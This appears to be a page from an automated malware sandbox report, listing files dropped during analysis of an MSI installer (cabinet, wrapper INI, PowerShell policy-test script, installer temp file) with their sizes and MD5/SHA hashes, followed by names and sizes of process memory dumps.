e5a35deb67c56da044247a12a44e34e9595ded016e9dba0ff0beb52f25e4246fd2e2e1c1b7d77f2103451dbb369b4ae36e87fafae3d8f5c30bed808787fb7137

Download Submit
C:\Users\Admin\AppData\Local\Temp\4a72437e-e417-48ea-87e3-ff36bea93508.msi

Filesize
2.0MB

MD5
45a56a51bffca8d36b068af78dbc6aa6

SHA1
a694ba66def8d702feb337a234f0ab4e562efeda

SHA256
6984a8e300e9a3aee123a340299b813134c89bd7e4c91793321643e6ecdef9ae

SHA512
4b599573283efa10442645bc9da7a924f17407e369f80c15c8bb81e633e4d6c4a171391e4126292b1421aefcc2d702c305eb0e9f8a644d83f4f7acf09028c9da

Download Submit
C:\Users\Admin\AppData\Local\Temp\MW-06b8d14c-68c1-44b5-8417-c9917a87c9da\files.cab

Filesize
1.7MB

MD5
df5cc7b5707ecf44d429585c625d5b7f

SHA1
a837d6b536151c31b412b81f06da995b746c02c1

SHA256
cce10adeed7eace3be7434312279923db0c3f79a71a48b985aca9e3c7d585a2e

SHA512
bca1581078da37ec204ba7c32410528908b3b701a83bf73659897387b20766e99d23aa9ad4830cc61a2e7a066394b4fbbe8fd2a3968580494a8c7f593ed2e0d1

Download Submit
C:\Users\Admin\AppData\Local\Temp\MW-06b8d14c-68c1-44b5-8417-c9917a87c9da\msiwrapper.ini

Filesize
1KB

MD5
2fec4efdfe17c4b3ff21d963ed7dea66

SHA1
54c934290c0f6830f53cdf43514ca5042d1acc6a

SHA256
26069dda8accddc06d6608b41cd4b764767d205cc8d6991614879b02c2a9f7db

SHA512
f9a8ed5c9b9e066520844fd16665be85bc55ef38a616c8f7205b5eab437a317f44886c1f085c1b3021549bc7b96b46036aa7af6a00dcdcfc46a2e2690276e380

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tl3ph4hx.xqd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Installer\MSI9A2D.tmp

Filesize
208KB

MD5
0c8921bbcc37c6efd34faf44cf3b0cb5

SHA1
dcfa71246157edcd09eecaf9d4c5e360b24b3e49

SHA256
fd622cf73ea951a6de631063aba856487d77745dd1500adca61902b8dde56fe1

SHA512
ed55443e20d40cca90596f0a0542fa5ab83fe0270399adfaafd172987fb813dfd44ec0da0a58c096af3641003f830341fe259ad5bce9823f238ae63b7e11e108

Download Submit
memory/2296-195-0x00000000056E0000-0x0000000005746000-memory.dmp

Filesize
408KB

Download
memory/2296-219-0x0000000006310000-0x000000000632E000-memory.dmp

Filesize
120KB

Download
memory/2296-193-0x0000000004D70000-0x0000000004D92000-memory.dmp

Filesize
136KB

Download
memory/2296-194-0x0000000005670000-0x00000000056D6000-memory.dmp

Filesize
408KB

Download
memory/2296-190-0x0000000004790000-0x00000000047C6000-memory.dmp

Filesize
216KB

Download
memory/2296-229-0x00000000072E0000-0x00000000072E8000-memory.dmp

Filesize
32KB

Download
memory/2296-205-0x0000000005750000-0x0000000005AA4000-memory.dmp

Filesize
3.3MB

Download
memory/2296-206-0x0000000005D20000-0x0000000005D3E000-memory.dmp

Filesize
120KB

Download
memory/2296-207-0x0000000005D60000-0x0000000005DAC000-memory.dmp

Filesize
304KB

Download
memory/2296-209-0x000000006E610000-0x000000006E65C000-memory.dmp

Filesize
304KB

Download
memory/2296-208-0x0000000006D00000-0x0000000006D32000-memory.dmp

Filesize
200KB

Download
memory/2296-191-0x0000000004F40000-0x0000000005568000-memory.dmp

Filesize
6.2MB

Download
memory/2296-220-0x0000000006D40000-0x0000000006DE3000-memory.dmp

Filesize
652KB

Download
memory/2296-221-0x00000000076A0000-0x0000000007D1A000-memory.dmp

Filesize
6.5MB

Download
memory/2296-222-0x0000000007060000-0x000000000707A000-memory.dmp

Filesize
104KB

Download
memory/2296-223-0x00000000070C0000-0x00000000070CA000-memory.dmp

Filesize
40KB

Download
memory/2296-224-0x00000000072F0000-0x0000000007386000-memory.dmp

Filesize
600KB

Download
memory/2296-225-0x0000000007260000-0x0000000007271000-memory.dmp

Filesize
68KB

Download
memory/2296-226-0x0000000007290000-0x000000000729E000-memory.dmp

Filesize
56KB

Download
memory/2296-227-0x00000000072A0000-0x00000000072B4000-memory.dmp

Filesize
80KB

Download
memory/2296-228-0x00000000073B0000-0x00000000073CA000-memory.dmp

Filesize
104KB

Download
memory/3172-186-0x0000000010000000-0x0000000010738000-memory.dmp

Filesize
7.2MB

Download